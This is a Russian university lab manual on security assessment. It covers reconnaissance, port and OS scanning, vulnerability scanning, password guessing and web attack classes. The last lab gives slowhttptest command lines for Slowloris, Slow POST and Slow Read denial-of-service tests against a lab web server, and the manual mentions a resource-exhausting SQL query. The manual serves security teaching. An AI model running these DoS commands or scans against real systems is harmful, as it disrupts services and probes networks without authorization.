МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
«СЕВЕРО-КАВКАЗСКИЙ ФЕДЕРАЛЬНЫЙ УНИВЕРСИТЕТ»

Методические указания

по выполнению лабораторных работ по дисциплине
«Методы и стандарты оценки защищенности информационных систем»
для студентов направления подготовки
10.04.01 Информационная безопасность

(ЭЛЕКТРОННЫЙ ДОКУМЕНТ)

Ставрополь

СОДЕРЖАНИЕ

Лабораторная работа№1 Сбор предварительной информации о системе (2 часа)

Содержание:

1. Методы и средства сбора предварительной информации об анализируемой сети

2.. Предварительный сбор информации о домене

Целью лабораторной работы является обучение методам и средствам сбора предварительной информации в Интернет об анализируемой КС.

Теоретические сведения:

Одним из первых этапов анализа защищенности является сбор информации об исследуемой КС. В зависимости от используемой методологии анализа защищенности применяются различные методы сбора информации. Стоит отметить, что сбор предварительной информации о сети, как правило, не характерен для методологий инструментального анализа защищенности.

Методы сбора информации делятся на активные и пассивные. Активные методы требуют отправки запросов в КС и анализа ее ответов, а пассивные используют информацию, добровольно рассылаемую КС. Активные методы делятся на методы с подключением (например, идентификация узлов) и методы без подключения к КС (например, сбор данных о диапазонах IP-сетей). Технология сбора данных о КС, без явного подключения к последним, носит название предварительное изучение цели (англ. footprinting).

В результате проведения сбора предварительной информации о сети могут быть получены:

информация о доменах КС;

данные об используемом системном и прикладном ПО;

применяемые средства защиты информации;

адреса электронной почты пользователей;

адреса IP-сетей и др. Исходной информацией для получения таких данных могут служить название организации, адреса электронной почты сотрудников, IP-адреса или DNS-имена узлов КС.

Методами получения необходимой информации являются:

использование функционала поисковых систем (например, Google, Yandex, Bing) и оффлайн-браузеров (например, httrack);

опрос серверов DNS и SMTP;

опрос серверов регистраторов Интернет с помощью специализированных средств (например, whois) или веб-приложений сайтов, предоставляющих информацию регистрационного характера (например, www.ripn.net);

Задание:

Выполнить предварительный сбор информации о домене ncfu.ru.

Контрольные вопросы:

Базовый уровень:

1:Этапы анализа защищенности сети

2.Методы получения информации.

Повышенный уровень:

1. Предложить механизмы защиты для противодействия методам предварительного сбора информации о сети.

2. Собрать данные о номерах автономных систем исследуемой сети.

Лабораторная работа№2 Идентификация узлов и портов сетевых служб (2 часа)

Содержание:

1. Методы и средства идентификации доступных узлов в анализируемой сети
2. Предварительный сбор информации о домене

Целью лабораторной работы является обучение методам и средствам идентификации доступных узлов и сетевых портов в анализируемой КС.

Теоретические сведения:

Задача идентификации узлов сводится к тому, чтобы заставить удалённую систему отреагировать на какой-либо запрос. Под реакцией системы понимается генерация какого-либо ответа или сообщения об ошибке. Это и будет доказательством того, что система присутствует в сети. При этом задача состоит именно в доказательстве присутствия системы, а не в определении каких либо её характеристик (работающие службы, операционная система и т. п.). Для решения этой задачи могут быть использованы различные методы, основанные на разных сетевых протоколах.

Основные методы идентификации:

ICMP Ping;
информационные сообщения ICMP;
UDP Discovery;
TCP Ping;
IP probing;
ARP Scan.

Метод ICMP Ping основан на использовании сообщений ICMP ECHO (Type 8) и ECHO REPLY (Type 0). Сканер отправляет на исследуемый узел сообщения ICMP ECHO (Type 8). Если узел доступен и отсутствует фильтрация ICMP пакетов данного типа, то в ответ придёт сообщение ICMP типа ECHO REPLY.

В методе TCP Ping производится попытка установки соединения с каждым портом из заданного списка путем отправки сегмента TCP SYN. Если соединение установлено, т.е. в ответ был получен сегмент TCP SYN/ACK, то это означает, что исследуемый узел доступен, при этом соединение тут же разрывается посылкой сегмента TCP RST. Если соединение не установлено, но в ответ получен сегмент TCP RST, то это также означает доступность узла. Отметим, что некоторые сканеров безопасности, например, XSpider и LANGuard, в случае получения сегмента TCP SYN/ACK сначала устанавливают полноценное TCP-соединение, а затем его разрывают. Как правило, возможность использования оптимальной реализации метода TCP Ping связана с наличием генератора пакетов или возможностью использования интерфейса сырых сокетов (англ. raw sockets).

Особенностью метода UDP Discovery является необходимость использования осмысленных запросов к службе для большей точности идентификации. Методы группы IP probing представляют научный интерес, но, как правило, редко используются на практике и не реализованы в известных сканерах безопасности. Основная идея данных методов заключается в отправке некорректной IP-дейтаграммы на исследуемый узел КС. Если в ответ будет получено сообщение об ошибке ICMP типа Parameter problem, то устройство доступно. Отсутствие данного ответа не означает недоступность устройства. Достоинство данного метода заключается в том, что он потенциально может быть использован в обход межсетевых экранов. Метод ARP Scan является самым быстрым, но может быть использован, только в том случае если исследуемый узел и сканер находятся в одном широковещательном домене 2-го уровня (т.е. в одном VLAN). Данный метод заключается в отправке ARP-запроса на получение MAC-адреса исследуемого узла. При этом можно гарантировать, что ответ будет получен тогда и только тогда, когда узел включен. Данный метод реализован в сетевом сканере NMap и средстве перехвата пакетов Caen&Abel.

В методе TCP Connect с каждым TCP-портом штатными средствами ОС устанавливается, а затем разрывается соединение. Данный метод реализован во всех

инструментальных средствах анализа. Метод SYN Scan является оптимизацией предыдущего метода. Идея заключается в том, что полноценное TCP соединение здесь не устанавливается. Если в ответ на отправленный нами сегмент TCP SYN получен сегмент TCP RST, то порт закрыт; если получен сегмент TCP SYN/ACK, то порт открыт и для разрыва соединения требуется отправка сегмента TCP RST удаленной стороне. В результате имеем отправку не более двух TCP сегментов вместо четырех, как в методе TCP Connect.

Задание:

Выполнить идентификацию узлов и открытых портов, используя механизмы протоколов ARP, ICMP, IP, TCP и UDP.

Контрольные вопросы:

Базовый уровень:

1. Ограничение доступа к некоторым сетевым службам.
2. Методы сканирования.

Повышенный уровень:

3. Почему метод ARP SCAN не реализован в сканерах безопасности?
4. Идентификация узлов методом IP Probing.

Лабораторная работа№3 Идентификация служб и приложений (2 часа)

Содержание:

1. Методы и средства идентификации служб и приложений в анализируемой сети
2. Идентификации служб и приложений для открытых портов

Целью лабораторной работы является обучение методам и средствам идентификации служб и приложений, соответствующих открытым сетевым портам анализируемой КС.

Теоретические сведения:

Идентификация служб и приложений является одной из самых важных задач при проведении инструментального анализа защищённости. Данная задача заключается в определении сетевой службы (протокола), соответствующей найденному открытому порту и идентификации приложения, реализующего серверную часть этой службы. Не корректная, не точная или ошибочная идентификация службы или приложения может привести к ложным срабатываниям сканеров безопасности или систем обнаружения вторжений. Кроме того, данные, полученные в ходе такого анализа, составляют значительную часть результатов инвентаризации ресурсов компьютерной сети.

Для идентификации служб и приложений, как правило, используются следующие основные методы:

анализ заголовков («баннеров»);

использование команд служб прикладного уровня;

анализ особенностей функционирования служб прикладного уровня.

Первый метод заключается в анализе сообщения, выдаваемого сетевой службой узла при подключении к ней по заданному порту. Часто такие сообщения содержат информацию об используемой службе, вплоть до названия приложения и номера версии, а также могут содержать информацию об установленной на узле ОС. Недостатком метода является возможность ошибочной идентификации службы за счет произвольного изменения приветственных сообщений или их отключения.

Второй метод состоит в использовании команд службы прикладного уровня, ожидаемой на данном порту. Например, если на узле был найден открытый порт TCP с номером 21, то для проверки того, является ли запущенная на этом порту служба сервером FTP необходимо использовать команды, определенные в рамках FTP протокола: например, USER, PASS, PORT, PASV, LIST, HELP и др.

Идентифицировать приложение также можно по его сообщению, однако, чаще методы идентификации приложений основаны на анализе особенностей реализации той или иной службы. Суть этих методов состоит в посылке запросов, которые немного отличаются от стандартов и спецификаций, в использовании редких или некорректных команд, опций или параметров и др. Например, работу SMTP-сервера определяют несколько ключевых стандартов: RFC 2821, RFC 1425, RFC 1985. Эти стандарты определяют команды, которые SMTP-клиент может выполнить, подключившись к серверу, обязательные возможности самого сервера, допустимые аргументы и данные.

Суть этих методов состоит в посылке запросов, которые немного отличаются от стандартов и спецификаций, в использовании редких или некорректных команд, опций или параметров и др. Например, работу SMTP-сервера определяют несколько ключевых стандартов: RFC 2821, RFC 1425, RFC 1985. Эти стандарты определяют команды, которые SMTP-клиент может выполнить, подключившись к серверу, обязательные возможности самого сервера, допустимые аргументы и данные.

Однако не все реализации серверов SMTP удовлетворяют этим требованиям. Последнее свойство и позволяет идентифицировать конкретное ПО. Например, программное средство smtpscan использует следующие особенности реализации почтовых служб:

корректно заданная команда MAIL FROM без предварительно переданной команды HELO. Некоторые серверы позволяют это (возвращая код ошибки 220), другие запрещают (501 или 503);

возможность выполнить команду HELO без указания имени домена;

возможность использование команды MAIL FROM без постановки знака двоеточия, например, qmail позволяет использование такой записи, хотя стандарт это явно запрещает; возможность использования команды MAIL FROM с пустым адресом отправителя;

все серверы должны это разрешать, но бывают исключения;

некорректное задание адреса отправителя в команде MAIL FROM; некоторые серверы это запрещают, то есть проверяют существование указанного домена.

Другим распространённым методом идентификации почтовых серверов является проверка поддержки некоторых команд: например, HELP, VRFY, EXPN, TURN, EHLO и др. Еще одним актуальным методом идентификации ПО серверов SMTP является, уже упоминаемый ранее в рамках сбора предварительной информации о сети, метод mail bouncing. Данный метод заключается в отправке некорректных почтовых сообщений в исследуемую ЭПС, и анализе полученных уведомлений о невозможности доставки писем или сообщений об ошибках.

Задание:

Выполнить идентификацию служб и приложений для открытых портов узлов исследуемой компьютерной сети.

Контрольные вопросы:

Базовый уровень:

1. Изучить и реализовать на практике метод использования служб прикладного уровня для идентификации веб-серверов.

2. В чем заключается анализ заголовков;

Повышенный уровень:

3. Изучить особенности метода анализа параметров повторной передачи для идентификации служб UDP.

4. Изучить особенности реализации механизмов идентификации служб и приложений в сканерах nmap и amap.

Лабораторная работа№4 Идентификация операционных систем (2 часа)

Содержание:

1. Методы и средства идентификации ОС в анализируемой сети

2. Анализ возможностей сетевых сканеров

Целью лабораторной работы является бучение современным методам и средствам идентификации ОС анализируемой КС.

Теоретические сведения:

Задача определения типа и версии ОС удаленного узла весьма актуальна при проведении анализа защищённости. Чем точнее идентификация ОС исследуемого узла, тем эффективнее может быть выполнена его проверка. Более того, в некоторых сканерах безопасности набор выполняемых проверок зависит от результатов идентификации ОС. В настоящее время идентификация ОС основана на следующих основных методах:

анализ заголовков, полей IP-дейтаграмм и набора открытых портов, характерных для каждой ОС;

опрос стека TCP/IP, впервые реализованный в сканерах queso и nmap;

анализ ICMP-дейтаграмм, впервые реализованный в сканере xprobe;

анализ реализации таймеров в механизме повторной передачи протокола TCP;

анализ значений полей IP- и TCP-пакетов, реализованный в сканере SinFP.

Точность определения ОС существенно зависит от наличия устройств нормализации сетевых пакетов, межсетевых экранов, систем обнаружения вторжений, прокси-серверов и других сетевых средств защиты информации. Кроме того, серьезную задачу представляет собой распознавание ОС одного семейства.

Задание:

Выполнить идентификацию ОС узлов сети и анализ возможностей сетевых сканеров.

Контрольные вопросы:

Базовый уровень:

1. Перечислить отличия методов идентификации ОС, реализованные в сетевых сканерах nmap, xprobe, sinfp и сканерах безопасности XSpider, Nessus и Nexpose.

2. Реализация методов идентификации ОС в сетевых сканерах nmap, xprobe и sinfp.

Повышенный уровень:

3. Перечислить методы идентификации ОС, которые могут быть выполнены стандартными сетевыми средствами (командами) ОС (например, telnet, ssh, ping).

4. Опрос стека TCP/IP.

Лабораторная работа№5 Идентификация уязвимостей сетевых приложений по косвенным признакам (2 часа)

Содержание:

1. Методы и средства идентификации уязвимостей анализируемой сети по косвенным признакам

2. Сетевые службы DNS, HTTP, SSH

Целью лабораторной работы является обучение методам и средствам идентификации уязвимостей по косвенным признакам в сетевых приложениях КС.

Теоретические сведения:

Уязвимостями КС принято называть любые их характеристики и свойства, использование которых нарушителем может привести к реализации угрозы. Существует множество вариантов классификации уязвимостей, например, по уровню инфраструктуры КС, по этапу жизненного цикла КС, по типу уязвимости и т.д.

Заключение (логический вывод) – это алгоритм определения наличия уязвимости в КС без выполнения атаки, использующей данную уязвимость, по косвенным признакам, на основе собранной информации. Иначе говоря, вывод о наличии уязвимости в КС делается на основе каких-либо характерных признаков (номер версии службы, версия ОС, присутствие на узле какого-либо файла и т.п.). При этом используются данные, полученные на этапах идентификации открытых портов, служб, приложений в КС. Среди заключений

выделяют локальные и «баннерные» проверки. Тест – это алгоритм определения наличия уязвимости в КС путём выполнения атаки, использующей данную уязвимость, либо путём специальных запросов в отношении КС, позволяющих с высокой степенью вероятности утверждать о наличии уязвимости. Таким образом, сканирование уязвимостей – это выполнение набора проверок, состоящих из тестов и заключений.

Сетевые службы и реализующие их приложения являются одним из основных объектов анализа защищённости, выполняемого сетевыми сканерами. После того, как в ходе сбора данных были определены открытые порты, соответствующие им службы и реализующие их приложения, начинается этап идентификации уязвимостей. Значительная часть проверок, направленных на выявление уязвимостей сетевых служб, таких, как DNS, HTTP, SSH, FTP – это «баннерные» проверки.

В силу того, что результат «баннерных» проверок зависит от многих факторов, при «верификации» найденных уязвимостей рекомендуется использовать следующие приёмы:

ручная проверка службы (подключение на заданный порт, анализ баннера, использование команд прикладного уровня);

поиск информации об уязвимости в различных базах; локальная

проверка (версия, конфигурационные файлы);

проверка действительного существования уязвимости. Данный вариант инструментального анализа защищенности в зарубежной литературе часто называется оценкой защищенности.

Задание:

Выполнить идентификацию уязвимостей сетевых служб DNS, HTTP и SSH по косвенным признакам с помощью сканера XSpider

Контрольные вопросы:

Базовый уровень:

1.Косвенные признаки уязвимости защиты. 2.Классификация

уязвимостей.

Повышенный уровень:

3.Сетевые службы DNS, HTTP, SSH, FTP.

4. Объяснить отсутствие в результатах последнего сканирования службы DNS ранее найденных уязвимостей.

Лабораторная работа№6 Идентификация уязвимостей на основе тестов

Теоретические сведения:

В случае идентификации уязвимостей на основе тестов в отношении КС запускаются реальные атаки, выполняющиеся при помощи эксплойтов.

Эксплойтом принято называть документированный метод или программу, использующую уязвимость. Во многих известных базах уязвимостей содержатся инструкции или код для использования опубликованных там уязвимостей.

Среди тестов выделяют простые эксплойты, а также тесты проверки возможности запуска кода, исчерпания ресурсов и подбора пароля. К первым относят эксплойты, использующие уязвимости служб КС и позволяющие выполнять произвольные команды ОС через некорректно сформированные запросы. Примером такого эксплойта является использование уязвимости CVE-2000-0886.Тесты, проверяющие возможность запуска кода, используют уязвимости, делающие возможным создание ситуации переполнения буфера. Ситуация переполнения буфера создаётся путём отправки уязвимой сетевой службе специальным образом сформированных данных. При их обработке происходит изменение хода выполнения программы и передача управления произвольному коду, что может привести:

к запуску кода, выполняющего какие-либо действия, например, делающего возможным последующие подключения к объекту атаки с получением командной строки ОС;

к выведению из строя узла или уязвимой сетевой службы.

Как правило, использование теста отличается от запуска настоящего эксплойта тем, что в

качестве результата возвращается какойлибо код вместо, например, предоставления командной строки или выполнения произвольных команд ОС. Механизмы проверки на возможность реализации DoS-атаки отправляют на вход тестируемой службы различные значения. Если переданное сканером значение параметра привело к выведению из строя сканируемой службы, проверка заканчивается положительным результатом. Следующим видом тестов является подбор пароля. Подбор пароля осуществляется путём подключения к соответствующей сетевой службе. Известны следующие методы подбора паролей:

атака по словарю – наиболее быстрый способ, при котором используются наиболее распространённые слова из словаря;

гибридная атака – к словам из словаря добавляются подстановки последовательностей букв или цифр (cisco1, cisco2), иногда буквы слова из словаря заменяются цифрами или спецсимволами (c1sc0, r00t).

атака грубой силы – перебор всех возможных вариантов паролей.

Оценка стойкости паролей может выполняться как на уровне узла, так и на уровне сети. В последнем случае для сканера безопасности эта задача превращается в попытки удалённого подбора паролей, что имеет следующие недостатки:

низкая скорость перебора;

возможность блокировки учётных записей пользователей.

Поэтому в сканерах безопасности сетевого уровня подбор паролей обычно ограничивается именами и паролями по умолчанию (наиболее распространёнными комбинациями) и подбором по словарю.

В ходе выполнения проверок по подбору пароля, как правило, используется следующая последовательность действий:

1. Обнаружение и идентификация сетевой службы, для которой задействован подбор паролей.

2. Построение списка учётных записей.Выбор механизма аутентификации из числа поддерживаемых объектом сканирования.

3. Подбор пароля.

В ходе идентификации служб и приложений сканер XSpider обнаруживает сетевую службу, для которой необходимо выполнить подбор паролей. Затем строится список учетных записей, для которых будет производиться подбор паролей. Этот список формируется на основе встроенных данных, словарей логинов (если эта опция задействована) и ранее обнаруженных «логинов».

Для сбора учетных записей пользователей могут использоваться различные механизмы, такие, как «нулевой сеанс» в ОС семейства Windows.

Далее сканер определяет поддерживаемый объектом сканирования механизм аутентификации. Если поддерживается несколько методов, то выбирается наиболее эффективный с точки зрения подбора.

Последний этап представляет собой непосредственно подбор пароля. Результаты проверок передаются между модулями сканерами безопасности для различных протоколов. Например, если при работе с NetBIOS был получен список пользователей и подобран пароль для пользователя user, то эти данные будут использованы в ходе подбора паролей к службе RDP данного сервера.

Задание:

Выполнить идентификацию уязвимостей и подбор учетных записей с использованием сканера безопасности XSpider.

Контрольные вопросы:

Базовый уровень 1.Атака

грубой силы

2.Методы подбора учетных записей.

Повышенный уровень:

3.Действия по подбору паролей.

4: Изучить и объяснить механизм DoS-атаки, используемой для разрыва соединения с сервером S.

Лабораторная работа№7 Сканирование уязвимостей веб-приложений (2 часа)

Содержание:

1. Методы и средства идентификации уязвимостей веб приложений

2. Поиск уязвимостей веб-приложений

Целью лабораторной работы является изучение основных методов и средств идентификации уязвимостей веб-приложений, реализованных в сканерах безопасности общего назначения.

Теоретические сведения:

Как правило, при анализе защищенности веб-приложений сканеры безопасности используются в следующих целях:

поиск «грубых» ошибок, допущенных разработчиком или администратором приложения;

поиск хорошо известных уязвимостей;

проверка пропуска уязвимостей в процессе ручного тестирования.

Специализированные сканеры безопасности способны идентифицировать хорошо известные уязвимости веб-приложений или, по крайней мере, облегчить работу по их поиску. В меньшей мере такой способностью обладают сканеры безопасности общего назначения.

В настоящее время существует несколько классификаций уязвимостей веб-приложений. Наиболее структурированными из них являются классификации сообществ

Open Web Application Security Project (OWASP) и Web Application Security Consortium (WASC).

В рамках проекта OWASP предложен список десяти наиболее часто встречающихся проблем безопасности веб-приложений OWASP TOP 10 – 2013:

1. Внедрение кода (Injection).

2. Ошибки в реализации функций аутентификации и управления сессиями (Broken Authentication and Session Management).

3. Межсайтовое выполнение сценариев (Cross-Site Scripting, XSS).

4. Незащищенные прямые ссылки на объекты (Insecure Direct Object Reference).

5. Ошибки в настройке механизмов защиты (Security Misconfiguration).

6. Утечка конфиденциальных данных (Sensitive Data Exposure).

7. Ошибки в управление доступом к функциям (Missing Function Level Access Control).

8. Подделка запросов HTTP (Cross Site Request Forgery, CSRF).

9. Использование компонент с известными уязвимостями (Using Components with Known Vulnerabilities).

10. Непроверенное перенаправление (Unvalidated Redirects and Forwards). Рассмотрим методы и механизмы сканирования уязвимостей веб-приложений, реализованные в сканере безопасности XSpider.

В рамках анализа защищенности веб-приложений сканер безопасности XSpider имеет следующие основные возможности:

автоматическое определение веб-приложений на произвольных портах; работа с протоколами семейства SSL/TLS;

автоматическая индексация веб-сайта с поддержкой функции поиска скрытых директорий и резервных копий файлов;

поддержка аутентификации Basic и нестандартных схем аутентификации;

автоматическое отслеживание сессий;

поиск уязвимых и вредоносных сценариев (например, phpshell) по содержимому страницы;

эвристическое определение основных типов уязвимостей в веб-приложениях;
определение уязвимостей в полях заголовка запросов HTTP.

Если в ходе идентификации открытых портов и служб на узле обнаружен веб-сервер, то проводится поиск уязвимостей, соответствующих его типу (например, Internet Information Server, Apache и т.д.), а также установленных расширений (FrontPage, OpenSSL и т.п.). Следующим этапом является аутентификация, авторизация и проверка известных уязвимостей веб-приложений. После этого включается механизм поиска скрытых директорий и индексации содержимого. В ходе сбора содержимого сканирующее ядро XSpider анализирует на предмет наличия гиперссылок веб-страницы, а также различные служебные и информационные файлы, содержащиеся на сервере (например, robots или readme.txt). После построения карты сайта сканер переход к режиму поиска уязвимостей, которые отображаются в консоли программы по мере обнаружения.

Далее рассмотрим две основные атаки на веб-приложения – внедрение операторов SQL (A1) и межсайтовый скриптинг (A3) . Межсайтовое выполнение сценариев (Cross Site Scripting или, сокращенно, XSS) – атака на веб-приложение, использующая уязвимости неправильной обработки (фильтрации и экранирования) данных, введенных одним пользователем с последующим их выводом другому пользователю веб-приложения. В результате этого данные, выводимые пользователю, могут содержать не только текстовую информацию, но и введенный HTML-код или исполняемые скрипты (например, JavaScript или VBScript). Таким образом, посредством уязвимого веб-приложения нарушитель получает возможность выполнить произвольный JavaScript код у любого пользователя в контексте уязвимого веб-приложения. При этом браузер к этому коду применит политику безопасности, которую он обычно применяет к документам данного веб-приложения.В некоторых веб-приложениях данные, введенные пользователем, сохраняются в файлах, базе данных или памяти перед выводом другим пользователям системы. Например, сообщения, введенные пользователями, сохраняются на различных Интернет-форумах, и затем их могут просматривать другие пользователи системы. С другой стороны, поисковые веб-приложения не сохраняют запросы пользователей, а отображают для просмотра только результат поиска. В связи с этим принято выделять два основных вида XSS атак – устойчивые (сохраняемые) и неустойчивые (отраженные).

Устойчивая XSS атака – XSS атака, в результате которой введенный нарушителем код сохраняется на веб-сервере. Неустойчивая XSS атака – XSS атака, в результате которой введенный нарушителем код передается пользователю, отправившему запрос к веб-приложению. В первом случае опасности подвергаются все пользователи вебприложения, просматривающие данные. Во втором случае – только те пользователи, которые перейдут на уязвимый сервер по ссылке, специально сформированной и переданной нарушителем пользователю под каким-либо предлогом. Атака внедрение операторов SQL (SQL injection) обозначает атаку на веб-приложение, выполняемую путем обхода его логики работы и получения непосредственного доступа к данным, хранящимся в СУБД, путем внедрения во входные данные, обрабатываемых приложением, операторов SQL.

Задание:

Выполнить сканирование уязвимостей веб-приложения с использованием сканера безопасности XSpider.

Контрольные вопросы:

Базовый уровень:

1.Назначение сканеров безопасности 2.Атака типа внедрение операторов SQL Повышенный уровень:

3. Атака на веб-приложения типа «Подделка межсайтовых запросов» (CSRF).

4. Взаимосвязь и влияние друг на друга CSRF- и XSS-атак

Лабораторная работа№8 Сканирование уязвимостей корпоративной сети (2 часа)

Содержание:

1. Методы и средства идентификации уязвимостей корпоративной сети 2.Профиль сканирования уязвимостей

Целью лабораторной работы является обучение основным методам организации и проведения сканирования уязвимостей корпоративной сети.

Теоретические сведения:

Основным инструментом сканирования уязвимостей является сканер безопасности.

Сканеры безопасности могут быть классифицированы по нескольким признакам. С точки зрения платформы существуют как аппаратно-программные, так и программные сканеры безопасности.

С точки зрения расположения по отношению к объекту сканирования сканеры безопасности делятся на локальные (системные) и сетевые (дистанционные). Локальные сканеры безопасности устанавливаются непосредственно на сканируемом узле, работают от имени учётной записи с максимальными привилегиями и определяют наличие уязвимости только по косвенным признакам (например, по атрибутам файлов или значимым элементам реестра). Сетевые сканеры выполняют проверки по сети и обычно устанавливаются на выделенный узел, предназначенный для целей сканирования. Они могут выявлять уязвимости как по косвенным признакам, так и путем выполнения атак.

По взаимодействию с объектом сканирования выделяют активные и пассивные сканеры. Пассивные сканеры определяют уязвимости на основе анализа сетевых информационных потоков. Они выполняют анализ взаимодействия клиентских и серверных частей сетевых служб, идентифицируют версии используемых приложений и наоснове этой информации делают выводы о наличии уязвимостей. Как правило, такие сканеры являются модулями систем обнаружения вторжений, предоставляющими данные для корреляции. Активные сканеры с объектом сканирования взаимодействуют напрямую. В случае классификации сканеров безопасности по назначению выделяют сканеры общего характера и специализированные сканеры. Сканеры общего характера ориентированы на наиболее распространенные ОС, службы, приложения и наиболее известные уязвимости. Специализированные сканеры ориентированы на конкретные компьютерные системы: WEB-приложения, СУБД (например, Oracle), системы электронного документооборота (например, Lotus Domino), ERP-системы (например, SAP R/3).

Сканирование уязвимостей корпоративной сети является высококритичным мероприятием.

Как правило, в организации разрабатывается специальный нормативный документ, являющийся частью политики безопасности, который определяет порядок сканирования уязвимостей. В некоторых случаях политика сканирования определяется внешними документами (например, стандарт платежных систем PCI DSS).

Рассмотрим типовые положения политики сканирования уязвимостей, применяемые в реальных сетевых КС.

1. К работе с сетевыми сканерами безопасности разрешается допускать только сотрудников, назначенных соответствующим приказом по организации.

2. Установку сканеров безопасности необходимо производить на выделенный АРМ, системные характеристики которого соответствуют требованиям, предъявляемым ПО сканера безопасности. Данное АРМ, как правило, должно находиться в составе центра управления сетью. Допускается установка программного обеспечения сетевых сканеров безопасности на переносной компьютер, предназначенный для проведения мобильных проверок.

3. Сканирование узлов сети (серверов, сетевого активного оборудования, рабочих станций и т.п.) должно производиться в соответствии с утвержденными внутренними планами (распорядительными документами) организации.

4. Время сканирования серверов критичных АС, ЭПС, а также сетевого активного

оборудования центральных узлов связи должно предварительно согласовываться с подразделением, сотрудники которого осуществляют администрирование указанных средств вычислительной техники. Данное подразделение заблаговременно предоставляет список критичных серверов, а также сетевого активного оборудования центрального узла связи с указанием их IPадресов.

5. При проведении сканирования СВТ, находящихся в промышленной эксплуатации, должны использоваться профили (шаблоны) сканирования, конфигурация которых исключает проведение DoSатак. При сканировании контроллеров домена, серверов СУБД и ЭПС, а также других СВТ, находящихся в промышленной эксплуатации, должны быть отключены функции подбора паролей. Корректность настроенного профиля перед использованием должна быть проверена на тестовых, либо некритичных серверах/рабочих станциях.

6. Непосредственно по завершении процесса сканирования должны быть сгенерированы отчеты с применением штатных средств ПО сканеров безопасности. Отчеты должны быть незамедлительно переданы сотрудникам, ответственным за администрирование сканируемых устройств в электронном виде для рассмотрения материалов сканирования, проведения анализа и устранения выявленных недостатков.

7. На период рассмотрения материалов сканирования, согласования Акта и устранения выявленных недостатков, доступ к сформированным отчетам и материалам сканирования должен быть строго ограничен. Доступ к данным материалам должен быть разрешен только администраторам сетевых сканеров безопасности, администраторамсканируемых устройств, а также руководителям подразделений информационных технологий и служб информационной безопасности.

8. В течение трех рабочих дней с момента генерации и получения отчетов по сканированию, администраторы сканируемых устройств совместно с подразделением безопасности по сформированным отчетам проводят анализ материалов сканирования. Проводимый анализ должен основываться на реальной конфигурации сетевых устройств, сопоставленной с описанием выявленных уязвимостей и рекомендациями по их устранению, ссылки на которые приведены в отчетах, формируемых сканерами безопасности.

9. По окончании проведения анализа, в течение двух рабочих дней, администраторы сканируемых устройств направляют в подразделение безопасности результаты анализа с предложениями по устранению выявленных недостатков, для включения их в «Акт сканирования». В случае предоставления информации о выявленных «ложных» уязвимостях, в подразделение безопасности также должны быть предоставлены соответствующие подтверждающие материалы (файлы, конфигурации, журналы аудита, протоколы работы и т.п.).

10. Подразделение информационной безопасности на основе информации, предоставленной администраторами сканируемых устройств, формирует двухсторонний «Акт сканирования».

11. Акт направляется в подразделение, ответственное за администрирование сканируемых (проверяемых) устройств, для согласования и утверждения. Срок согласования акта не должен превышать трех рабочих дней.

Задание:

Разработать профиль сканирования уязвимостей серверов корпоративного центра обработки данных для сканера безопасности XSpider.

Контрольные вопросы:

Базовый уровень:

1.Классификация сканеров безопасности

2.Типовые положения политики сканирования уязвимостей

Повышенный уровень:

3. Настройка сканирования сети центра обработки данных по расписанию

4. Настройка записи отладочной информации процесса сканирования в лог-файл

Методические указания к практическим занятиям

Лабораторная работа№9 Тестирование на устойчивость к атакам отказа в обслуживании

Цель работы

Целью лабораторной работы является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).

Краткие теоретические сведения

Целью реализации DoS-атаки является нарушение доступности веб-приложения. Это может быть достигнуто путем DoS-атаки на канал связи, программную платформу веб-сервера или на само веб-приложение.

Традиционно DoS-атаки являются сетевыми (используют недостатки сетевых технологий) и могут быть классифицированы по уровням модели ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) приводят к отказу канала связи, а атаки Ping of Death (L3), SYN Flood (L4), SSL Renegotiation DoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на платформу веб-приложения (операционная система, веб-сервер, фрэймворк и т.д.).

Для достижения отказа в обслуживании с помощью атак прикладного уровня (L7) атакующему может потребоваться существенно меньшее количество ресурсов. Например, если для успешной реализация атаки SYN Flood она должна быть распределенной (DDoS) и использовать ботнет, то для реализации атак класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTP Read) обычно достаточно одного компьютера [10 – 13].

Вместе с тем для веб-приложений также характерны DoS-атаки уровня приложения, возможные из-за наличия уязвимостей в его коде [9]. Например, возможность проведения атаки типа SQL injection может позволить злоумышленнику удалить базу данных с учетными записями пользователей или выполнить запрос вида select benchmark(100000000, now()) для израсходования ресурсов системы. Также примерами атак уровня приложения являются атаки XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP Bomb).

Постановка задачи

Выполнить тестирование устойчивости веб-приложения www.test.app.com к DoS-атакам на уровне протокола HTTP.

Последовательность действий

Шаг 1. Установить программу slowhttptest, доступную по URL вида https://code.google.com/p/slowhttptest. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.app.com, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб- сервера с помощью произвольного браузера:# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000

–u http://www.test.app.com

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50
-w 1 -y 2 -z 1 –u http://www.test.app.com/bigauth.js
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx.

Проделать предыдущие шаги в отношении сервера Nginx.

